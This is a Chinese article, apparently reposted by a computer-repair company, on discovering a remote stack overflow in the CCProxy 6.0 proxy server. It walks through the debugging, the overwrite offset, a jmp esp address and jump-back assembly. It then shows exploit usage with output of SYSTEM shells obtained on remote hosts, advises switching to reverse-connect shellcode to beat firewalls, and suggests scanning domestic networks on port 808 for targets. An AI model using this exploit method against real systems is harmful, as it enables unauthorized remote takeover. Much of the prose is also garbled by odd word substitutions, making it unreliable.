设为主页 | 加入收藏 | 繁體中文

我是如何发现CCProxy远程溢出漏洞的

  作者:isno
  CCProxy是一个国产的支持HTTP、FTP、Gopher、SOCKS4/5、Telnet、Secure(HTTPS)、News(NNTP)、 RTSP、MMS等代理协议的代理服务器软件。因为其简单易用、界面友爱,十分得当在对流量要求不高的网络环境中使用,所以在海内有很多低级的网管喜好用这个软件,有时间我在公司上彀也要用它做代理。前些日子我测试发现CCProxy 6.0版本存在多处缓冲区溢露马脚,可以导致攻击者远程实行任意代码。
  TIPS:什么是Gopher、RTSP、MMS?
  Gopher是Internet上一个十分有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。容许用户使用层叠布局的菜单与文件,以发现和检索信息,它拥有世界上最大、最神奇的编目。
  RTSP是Real Tranfer Stream Protocol的缩写,翻译为及时传输流协议,用来传输网络上的流媒体文件,如RM电影文件等,它的下载要领请看后文《悄悄下载流媒体》。
  MMS是Multimedia Messaging Service的缩写,中文译为多媒体信息服务,它最大的特征就是支持多媒体功效,可以在GPRS、CDMA 1X的支持下,以WAP无线使用协议为载体传送视频短片、图片、声响和笔墨,彩信就算MMS协议中的一种。
  漏洞发现过程
  其实发现这个漏洞是很无意偶尔的,当时在考虑公司产物的黑盒测试方案的时间,我想使用模板+测试用例的方法来举行网络部门的界限测试。这是比力传统的黑盒测试要领,其核心内容就是把网络协议包分块,然后订定出对各个块的测试策略,末了按照策略对所有块逐步举行测试。这种测试要领的利益在于可以有用的控制测试进度,以及可以比力细致地测试一个网络协议的所有部门,并且在测试过程中还可以不断地参加新的测试用例,以美满测试筹划。测试步伐的编写则可以使用剧本语言或C来完成。
  TIPS:什么是黑盒测试?
  黑盒测试法把步伐当作一个黑盒子,完全不考虑步伐的内部结谈判处置惩罚过程。黑盒测试是在步伐接口举行的测试,它只检查步伐功效能否能按照规格说明书的划定正常使用,步伐能否能适当地吸收输入数据孕育发生正确的输出信息,并且保持外部信息的完备性。黑盒测试又称为功效测试。
  我就是用这种要领测试公司的产物的时间,恰好当时在公司内部网之间使用CCProxy做代理服务器,因为测试HTTP协议要通过这个代理,所以测试过程中发现CCProxy瓦解了,也因而发现了这个漏洞,算是无意偶尔吧。
  漏洞分析过程
  CCProxy的HTTP代理端口默认是808,这个端口可以在其界面中举行变动。漏洞的原理很简单,就是对CCProxy的 HTTP代理端口发送URL超过4056字节的畸形请求,CCProxy就会发生堆栈溢出。后来发现,不仅仅是GET请求存在此题目,所有POST、 HEAD等请求也都市导致溢出。在分析其原理后又发现CCProxy的Telnet代理也存在该题目。
  如今来细致先容一下我分析这个漏洞的过程。在发现了发送超长请求可以导致CCProxy堕落以后,就开始分析溢出点以及利用限定。所要用到的工具是SOFTICE调试器和IDA反汇编工具。
  TIPS:很多人都知道使用WINDASM反汇编,但经过它反汇编出来的代码十分简单,很不容易看明白,但IDA就纷歧样了,它不光会反汇编步伐,并会尽量分析步伐,并加上相应的注释。正因为这样,IDA反汇编一个大的步伐会花十分长的时间。
  整个调试分析漏洞的过程如下:首先在SOFTICE中下断点:Bpx ntdll!KiUserExceptionDispatcher,这个命令的意思就是步伐运行到Ntdll.dll中的 KiUserExceptionDispatcher就停下来,交给SOFTICE举行处置惩罚。KiUserExceptionDispatcher这个函数是Windows的异常处置惩罚过程中的很重要的一个步调,它负责派发用户层空间发生的所有异常到异常链中的异常处置惩罚函数地址,每当在用户层空间发生异常的时间就会挪用这个函数。SOFTICE默认是没有加载Ntdll.dll的,所以我们可以通过DriverStudio套件中的一个叫做“Symbol Loader”的工具的Load Exports来加载这个DLL文件。
  设好断点后,就用一个简单的步伐向808端口发送“GET /AAAA[...4056 bytes] HTTP/1.0<回车><回车>”这样的超长字符串,此中包含4056个A的超长URL。发送之后SOFTICE会跳出来并停在KiUserExceptionDispatcher断点上,这时间用“dd (*(esp+4))+b8”命令来检察堕落时的EIP地址,这是因为KiUserExceptionDispatcher的函数参数是一个指向保存异常发生时的存放器的布局,该布局从偏移0x8c的地位开始保存存放器值,其详细保存存放器值如下:
  0x08c Gs
  0x090 Fs
  0x094 Es
  0x098 Ds
  0x09c Edi
  0x0a0 Esi
  0x0a4 Ebx
  0x0a8 Edx
  0x0ac Ecx
  0x0b0 Eax
  0x0b4 Ebp
  0x0b8 Eip
  0x0bc Cs
  0x0c0 EFlags
  0x0c4 Esp
  0x0c8 Ss
  用“dd (*(esp+4))+b8”命令发现出现异常的EIP是0x41414141,我们知道0x41就是A的ASCII码,所以如今已经证明我们发送的超长字符串已经覆盖了某个函数的前往地址,导致该函数前往的时间前往到0x41414141这样的地址。此时加入SOFTICE就会弹出 “0x41414141指令援用0x41414141的内存。该内存不克不及read。”这样的使用步伐错误对话框。
  TIPS:“0x41414141指令援用0x41414141的内存。该内存不克不及read。”这种是典型的溢出提示,明确告诉我们溢出的地址和错误,对进一步分析溢出很有利益。
  接下来,我们还需要知道真相是什么中央导致函数前往地址被覆盖的。因而我们渐渐减少发送的字符串长度,发现当发送4039字节时就不会导致堕落了。由于堆栈和前往地址被覆盖,我们无法看到导致溢出的地址到底是哪里,但是凭据履历揣测,这可能是一个由Strcpy、Strcat或Sprintf等函数导致的溢出。因而我们在这些函数下断点,然后再次发送4056字节的长URL命令。但是发现没有在这些函数中断下来,证明溢出过程并没有挪用这些函数。
  到了这里彷佛没有好的办法可以或许确定溢出地位了,但是通过观察发生溢出后的堆栈内容,可以看到凭据当时的堆栈中的一连大片的“AAAA……”和开头的时间和 “unknown Web”字符串等信息得知,当对堆栈中对这些地址写入内容的时间会导致覆盖前往地址,所以我们间接对堆栈地址设写断点,使用命令“bpmd 01977908 w”来对0x01977908的地址设一个写操纵断点,这个地址是我们通过观察溢动身生后的ESP来失掉的,因为这应该就是函数前往之后的ESP,即栈顶地址。但是这个地址是不固定的,可能差别的系统上这个地址也纷歧样,即使在统一个系统上,这个地址也随每次CCProxy进程的启动而差别。但是在统一个系统上,一样平常试几次就会使用异样的地址,所以我们只需要多试几次就一定可以或许中断下来了。在设断点之前首先要用Addr ccproxy来进入CCProxy的进程地址空间。
  经过细致分析发现,当挪用0040A410这个函数之前,会举行压栈操纵,这个压栈恰好会把函数前往地址写入到堆栈01977908的地位,所以我们有来由相信就是挪用这个0040A410这个函数的过程当中导致了溢出。在0040A410函数入口出设断点,然后发送溢出字符串,中断后按F12(即实行到函数前往),可以看到恰好前往到0x41414141的地址,这就印证了我们的揣测,溢出确实发生在0040A410函数当中。
  然后我们用IDA来反汇编CCProxy.exe来看看0040A410函数到底举行了哪些操纵。反汇编的代码如下:
  text:0040A410 sub_40A410 proc near ; CODE XREF: sub_408A10+114 p
  .text:0040A410 ; sub_408A10+262 p ...
  .text:0040A410 mov eax, 280Ch
  .text:0040A415 call __alloca_probe ;分派0x280c大小的缓冲区
  .text:0040A41A mov eax, dword_501D04
  .text:0040A41F push ebp
  .text:0040A420 mov ebp, [esp+2814h] ;这是要记载的内容,作为参数传入
  可以看到这个函数挪用“__alloca_probe”函数来举行缓冲区分派,它和平凡函数挪用Sub esp,xxx的方法来分派缓冲区有点差别,这是因为需要分派的缓冲区太大,间接减ESP可能会导致间接抵达未分派的地址空间,所以需要用 “__alloca_probe“来分派这个大缓冲区。
  我们再继续跟踪这个函数,发现到0040A607的指令时覆盖了函数的前往地址。代码如下:
  .text:0040A5F1 lea ecx, [esp+414h]
  .text:0040A5F8 push ebp
  .text:0040A5F9 push ecx
  .text:0040A5FA lea edx, [esp+1820h]
  .text:0040A601 push offset aSS_0 ; "[%s] %s"
  .text:0040A606 push edx
  .text:0040A607 call _sprintf
  在这个挪用了“_sprintf“函数,按照“[日期] 内容”的格式存入0x1820大小的局部字符串缓冲区中,由于没有限定长度,所以导致了缓冲区溢出。再细致检察发现“_sprintf”函数是在 CCProxy自己的代码段内里完成的,而没有挪用“msvcrt.dll”导出的Sprintf函数,难怪我们后面在Sprintf函数下断点没有拦截到!
  说句题外话,如今市场上有些防溢出软件产物是利用拦截系统的字符串拷贝函数然后回溯堆栈的要领,并宣称从基础上办理了系统缓冲区溢出的题目。这基础就是无稽之谈,因为很多溢出都是软件自己的代码完成导致溢出的,例如这个CCProxy溢出这样,基础就不挪用任何系统函数,所以那种保护要领并不克不及从基础上办理溢出的题目。
  在0040A410函数前往的时间,就会前往到被覆盖的地址去。代码如下:
  .text:0040A700 add esp, 280Ch ;恢复堆栈
  .text:0040A706 retn ;前往
  到这里我们已经可以看出,0040A410这个函数其实是一个记载CCProxy日记的函数,它按照“[日期] 内容”的格式来记载日记,但是在布局日记字符串的时间没有限定长度,所以导致了缓冲区溢出。我们已经找到了导致溢出的地位,接下来就要看看如何利用这个漏洞了。
  漏洞利用
  要利用漏洞,就要找到覆盖前往地址的字符串偏移。我们可以通过发送AAAABBBBCCCCDDD……这样的组合字符串看到底是哪里覆盖了前往地址。经过一番分析,得知在4056的偏移处恰好覆盖了函数前往地址。所以我们这样来设计溢出字符串:
  GET /AAAA….|shellcode|jmp esp|jmp back| HTTP/1.0
  此中“AAAA……”这样的字符串是为了在实行ShellCode之前腾出足够的空间,因为字母A所对应的CPU指令是INC ECX,即一条无现实作用的指令,相当于传统的NOP指令,但是它比NOP指令的利益在于它是可表现的字符,不易导致错误。而ShellCode是一个平凡末尾口的ShellCode,对此中的字符无任何特别要求。Jmp esp是一个包含Jmp esp指令的地址,把它作为覆盖函数的前往地址,这样当函数前往的时间就会跳到这个地址去实行Jmp esp指令,因为此时的ESP恰好指向函数前往地址背面的地址,即随后的Jmp back指令。这个指令是一串跳转指令,用来跳过Jmp esp地址和ShellCcode,实行到后面的AAAA……,即NOP指令,以便末了实行到shellcode当中。这里我们要选用一个比力通用的 jmp esp地址,要是是系统DLL中的Jmp esp地址,可能会随系统打了差别的SP而有差别的地址,所以我们选择0x7ffa54cd这样的地址,它在统一类Windows系统(例如中文版 Windows 2000)当中是固定的。Jmp Back指令我们用这样的汇编指令:
  mov ecx,25414141h ;把ECX设为0x25414141
  shr ecx,14h ;把ECX右移0x14位,让ECX变为0x254
  sub esp,ecx ;把ESP减去0x254
  jmp esp ;跳到此时的ESP去
  这样把ESP减去0x254就可以跳过后面的前往地址和ShellCode,这样一来就可以或许恰好跳到shellcode后面的NOP指令去实行了。
  这样设计好溢出串,并编写步伐包管jmp esp恰好覆盖前往地址,发送,果然溢出成功,并开出了shellcode指定的端口。这样exploit是不是就算是完成了呢?于是我到外网找了一个安置了CCProxy的肉鸡试了一下,但是没有成功。奇怪了,题目真相出在哪里呢?
  经过细致分析发现,由于溢出是按照“[日期] 内容”的格式拷贝到字符串当中导致的,此中“内容”部门的格式是这样的:
  客户端IP地址<空格>unknown<空格>Web<空格>HTTP请求
  此中unknown和Web都是固定长度的字符串,HTTP请求是我们所能控制的字符串。但是这里存在一个题目,就是客户端IP地址是我们无法控制的字符串,它的长度是不固定的,这样一来,差别长度的客户端IP地址就会导致差别的溢出点,这样也就可能无法成功的溢出了。怎样办理这个题目呢?我们固然无法控制客户端IP地址的字符串长度,但是我们可以失掉这个字符串的长度,并且在我们所能控制的HTTP请求当中补齐这个长度,让我们发送的Jmp esp地址一直覆盖在函数前往地址下面。
  而客户端IP地址可能凭据差别网络布局而分为三种环境:
  ? 要是攻击者和攻击目标在统一个网段(即中心不经过网关),那么客户端IP地址就是攻击者主机的IP地址。
  ? 要是攻击者和攻击目标不在统一个网段上(即中心经过网关),但是攻击者的主机有真实的IP地址。那么客户端IP地址也是攻击者主机的IP地址。
  ? 要是攻击者和攻击目标不在统一个网段上(即中心经过网关),并且攻击者的主机没有真实的IP地址。例如攻击者在内网,而攻击目标主机在外网,那么客户端IP地址就是攻击者的网关的外部IP地址。
  知道了这三种环境之后,我们就可以动手革新刚才的Exploit步伐了。首先要取出本机的IP地址,可以通过挪用Socket函数Gethostname ()先获得获取本机名,然后通过挪用Gethostbyname()来失掉本机IP地址的十六进制数值,末了利用Inet_ntoa()把这个数值转换为字符串。这样就办理了前两种环境的客户端IP地址,那么对付第三种本机和目标主机不在统一网段的环境又怎样办呢?用步伐完成自动取网关外部IP地址好像轻微麻烦了点,我懒得写这样的步伐了,爽性由用户自己来输入算了,怎样失掉你的网关外部IP地址就不消我来教了吧,应该是不难的,有些网站的论坛乃至都市间接表现出你的IP地址,那就是你网关的IP地址。
  TIPS:利用网关完成溢出攻击照旧第一次看到详细的例子,它们的网络通讯是如何建立的?数据传输是怎样举行的?有兴趣的朋友可以考虑一下,尝试利用这个过程做点事变,相信你会有更都的发现。
  漏洞攻击步伐使用要领
  我用后面提到的要领写了一个Exploit步伐,按照“ccpx <目标IP> [端口]”这样的格式来使用,此中目标IP就是你要攻击的安置了CCProxy的机器的IP地址,端口是目标IP上的CCProxy的HTTP代理端口,这个端口默认是808,但是可能会变动。
  然后步伐会提示你“本主机IP能否与目标主机IP在统一个网段?”,因为后面提到缘故原由,所以要采取两种差别的溢出字符串,要是你的机器和目标主机在统一个网段上,那你就选择Y,要是不在统一网段就选N。要是你选择了Nn,步伐还会扣问你“本主机有没有真实外网IP地址?”,也就是说你的机器是在内网照旧外网,有没有真实IP地址,要是有就选Y,没有则选N。要是这次你又选择了N,那么步伐会要求你输入本主机所属网关的外部IP地址,这个地址需要你自己想办法失掉,要失掉它也并不困难。输入之后就会成功发送溢出串,并自动毗连ShellCode所开出的 24876端口,要是成功的话,就会出现系统权限的CMD.EXE命令行了。
  要是你的机器和目标主机在统一个网段下面那就简单了,间接在第一步选Y就可以攻击成功。要是你的机器固然和目标主机不在统一个网段下面,但是确有真实IP地址,那就在第二步选Y。
  三种差别环境的详细攻击过程如下:
  1.你的机器和目标主机在统一个网段上:
  D:\Soft\ccx\ccpx\Debug>ccpx 192.168.0.103
  本主机IP能否与目标主机IP在统一个网段?[y/n]y
  [+] connecting to 192.168.0.103:808
  [+] send magic buffer...
  [+] connecting to CMD shell port...
  Microsoft Windows 2000 [Version 5.00.2195]
  (C) 版权所有 1985-2000 Microsoft Corp.
  C:\Documents and Settings\Administrator> exit
  exit
  [-] Connection closed.
  2.你的机器固然和目标主机不在统一个网段下面,但是有真实IP地址:
  D:\Soft\ccx\ccpx\Debug>ccpx 202.xxx.xxx.xxx
  本主机IP能否与目标主机IP在统一个网段?[y/n]n
  本主机有没有真实外网IP地址? [y/n]y
  [+] connecting to 202.xxx.xxx.xxx:808
  [+] send magic buffer...
  [+] connecting to CMD shell port...
  Microsoft Windows 2000 [Version 5.00.2195]
  (C) 版权所有 1985-2000 Microsoft Corp.
  C:\Documents and Settings\Administrator>exit
  exit
  [-] Connection closed.
  3.你的机器在内网,而攻击目标主机在外网:
  D:\Soft\ccx\ccpx\Debug>ccpx 210.xxx.xxx.xxx
  本主机IP能否与目标主机IP在统一个网段?[y/n]n
  本主机有没有真实外网IP地址? [y/n]n
  请输入本主机所属网关的外部IP地址: 202.xx.xx.xx ←在这里输入是你网关的外部IP地址
  [+] connecting to 210.xxx.xxx.xxx:808
  [+] send magic buffer...
  [+] connecting to CMD shell port...
  Microsoft Windows 2000 [Version 5.00.2195]
  (C) 版权所有 1985-2000 Microsoft Corp.
  C:\Documents and Settings\Administrator>exit
  exit
  [-] Connection closed.
  我这个步伐内里的Jmp esp地址是中文版Windows 2000中的地址,在其他版本的操纵系统中可能会有所差别,需要读者自己修正。
  TIPS:由于这个ShellCode内里采用了间接末尾口的要领,所以要是读者朋友的攻击目标上有防火墙的话,可能会导致攻击不可功。这种环境你需要变动isno步伐中的ShellCode,把它更换成反向毗连的ShellCode再重新编译一遍就行了。详细要领请存眷最近几期“老手学溢出”栏目。
  后面提到的这种凭据差别网络环境来填充差别个数的A,从而把Jmp esp地址推到函数前往地址的要领是不是最好的要领呢?我觉得可能还有更好的要领,大概利用Sprintf函数的一些内部特性就可以不消这样而写出通用的利用步伐了,但是我没时间去研讨这个了,要是读者有兴趣的话可以自己研讨一下,要是研讨出来,这也算是一项很实用的通用Exploit技能。
  后来研讨发现CCProxy不仅仅HTTP代理存在溢出题目,Telnet代理等一些其他挪用日记函数的端口也存在异样的题目,攻击要领雷同,这里就不再细致分析了。别的,CCProxy 5.x以及以前的版本固然也存在此漏洞,但是布局字符串的要领略有差别,因而这个Exploit步伐无法成功的攻击CCProxy 5.x以及以前的版本,只能攻击CCProxy 6.0。读者可以自己研讨一下老版本的CCProxy,并写出Exploit步伐。
  结束语
  这个漏洞固然不是Windows操纵系统自己的漏洞,但是CCProxy在海内还算一个比力常用的软件,因而照旧有一些利用代价的。不信你可以用Super Scan之类的端口扫描器扫描海内网段的TCP 808端口,很多时间都能找到安置了CCProxy的机器。
  其实写这篇文章的目的并不是教各人去利用这个漏洞黑机器,而是告诉各人一个软件漏洞从发现到跟踪调试到末了写Exploit步伐的过程是怎样的,大概你也能用这种要领找到一些其它的漏洞。
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: